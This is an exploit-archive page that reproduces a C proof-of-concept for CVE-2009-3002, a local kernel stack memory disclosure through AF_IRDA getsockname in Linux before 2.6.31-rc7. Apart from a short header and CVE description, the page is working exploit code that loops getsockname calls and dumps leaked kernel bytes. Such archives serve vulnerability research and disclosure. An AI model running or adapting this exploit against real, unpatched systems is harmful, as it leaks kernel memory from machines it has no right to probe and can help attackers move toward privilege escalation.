Lucene search

K
seebugRootSSV:66852
HistoryJul 01, 2014 - 12:00 a.m.

Linux Kernel < 2.6.31-rc7 - AF_IRDA 29-Byte Stack Disclosure Exploit

2014-07-0100:00:00
Root
www.seebug.org
28

0.0004 Low

EPSS

Percentile

8.8%

No description provided by source.


                                                /* 
 * cve-2009-3002.c
 *
 * Linux Kernel &#60; 2.6.31-rc7 AF_IRDA getsockname 29-Byte Stack Disclosure
 * Jon Oberheide &#60;[email protected]&#62;
 * http://jon.oberheide.org
 * 
 * Information:
 * 
 *   http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3002 
 *
 *   The Linux kernel before 2.6.31-rc7 does not initialize certain data 
 *   structures within getname functions, which allows local users to read 
 *   the contents of some kernel memory locations by calling getsockname 
 *   on ... (2) an AF_IRDA socket, related to the irda_getname function in 
 *   net/irda/af_irda.c.
 *
 * Notes:
 * 
 *   Yet another stack disclosure...although this one is big and contiguous.
 */

#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
#include &#60;stdio.h&#62;
#include &#60;stdint.h&#62;
#include &#60;errno.h&#62;
#include &#60;unistd.h&#62;
#include &#60;time.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;sys/syscall.h&#62;

#ifndef AF_IRDA
#define AF_IRDA 23
#endif

struct sockaddr_irda {
	uint16_t sir_family;
	uint8_t sir_lsap_sel;
	uint32_t sir_addr;
	char sir_name[25];
};

const int randcalls[] = {
	__NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
	__NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl,
	__NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup,
	__NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl,
	__NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday,
	__NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
	__NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid,
	__NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority,
	__NR_sched_getparam, __NR_sched_get_priority_max
};

void
dump(const unsigned char *p, unsigned l)
{
	printf(&#34;sockaddr_irda:&#34;);
	while (l &#62; 0) {
		printf(&#34; &#34;);
		if (l == 33 || l == 28) {
			printf(&#34;&#60;&#60;&#60; &#34;);
		}
		printf(&#34;%02x&#34;, *p);
		if (l == 33 || l == 1) {
			printf(&#34; &#62;&#62;&#62;&#34;);
		}
		++p; --l;
	}
	printf(&#34;\n&#34;);
}

int
main(void)
{
	struct sockaddr_irda saddr;
	int ret, call, sock, len = sizeof(saddr);

	printf(&#34;[+] Creating AF_IRDA socket.\n&#34;);

	sock = socket(AF_IRDA, SOCK_DGRAM, 0);
	if (sock == -1) {
		printf(&#34;[-] Error: Couldn&#39;t create AF_IRDA socket.\n&#34;);
		printf(&#34;[-] %s.\n&#34;, strerror(errno));
		exit(1);
	}

	memset(&saddr, 0, len);

	printf(&#34;[+] Ready to call getsockname.\n\n&#34;);

	for (ret = 5; ret &#62; 0; ret--) {
		printf(&#34;%d...\n&#34;, ret);
		sleep(1);
	}
	srand(time(NULL));

	while (1) {
		/* random stuff to make stack pseudo-interesting */
		call = rand() % (sizeof(randcalls) / sizeof(int));
		syscall(randcalls[call]);

		ret = getsockname(sock, (struct sockaddr *) &saddr, &len);
		if (ret != 0) {
			printf(&#34;[-] Error: getsockname failed.\n&#34;);
			printf(&#34;[-] %s.\n&#34;, strerror(errno));
			exit(1);
		}

		dump((unsigned char *) &saddr, sizeof(saddr));
	}

	return 0;
}

// milw0rm.com [2009-08-31]